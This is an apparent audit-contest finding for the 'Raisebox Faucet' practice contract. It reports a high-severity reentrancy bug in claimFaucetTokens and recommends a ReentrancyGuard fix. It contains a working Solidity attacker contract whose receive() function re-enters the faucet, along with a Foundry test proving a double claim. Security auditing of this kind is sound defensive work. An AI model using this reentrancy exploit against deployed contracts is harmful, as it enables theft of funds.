Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `claimFaucetTokens` allows malicious users to earn more tokens

Reentrancy in claimFaucetTokens allows malicious users to earn more tokens

Description

When a user calls the claimFaucetTokens for the first time, he will earn sepolia eth.

function claimFaucetTokens() public {
...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
...
}
...
}

But a malicious user can create a contract that receives the sepolia eth and then calls the function claimFaucetTokens again,
That allows him to earn more tokens.

Risk

Likelyhood (high) : The malicious user just needs to create a smart contract with a reentering fallback function.
Impact (high) : He will earn the drip more than he should have been.

Proof of Concept

In RaiseBoxFaucet.t.sol, add this smart contract :

contract AttackerContract {
RaiseBoxFaucet raiseBoxFaucet;
address owner;
IERC20 public immutable raiseboxtoken;
constructor(address payable _raiseboxfaucet, address _owner) {
raiseBoxFaucet = RaiseBoxFaucet(_raiseboxfaucet);
owner = _owner;
raiseboxtoken = IERC20(address(raiseBoxFaucet));
}
function call_claimFaucet() external {
raiseBoxFaucet.claimFaucetTokens();
raiseboxtoken.transfer(owner, raiseboxtoken.balanceOf(address(this)));
}
// When EthSepoliaDrip is transfered, the receive function call claimFaucet again.
receive() payable external {
raiseBoxFaucet.claimFaucetTokens();
}
}

and add this test :

function testReentrancy() public {
AttackerContract attack = new AttackerContract(payable(address(raiseBoxFaucet)), user1);
uint256 User1AmountBeforeclaim = raiseBoxFaucet.getBalance(user1);
assertEq(User1AmountBeforeclaim, 0);
attack.call_claimFaucet();
uint256 User1AmountAfterClaim = raiseBoxFaucet.getBalance(user1);
// User1 claim the faucet drip 2 times instead of 1
assertEq(User1AmountAfterClaim, raiseBoxFaucet.faucetDrip() * 2);
}

Recommended Mitigation

Add Reentrancy Guard to the contract and the nonReentrant modifier to the function claimFaucetTokens. (https://medium.com/@mayankchhipa007/openzeppelin-reentrancy-guard-a-quickstart-guide-7f5e41ee388f)

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.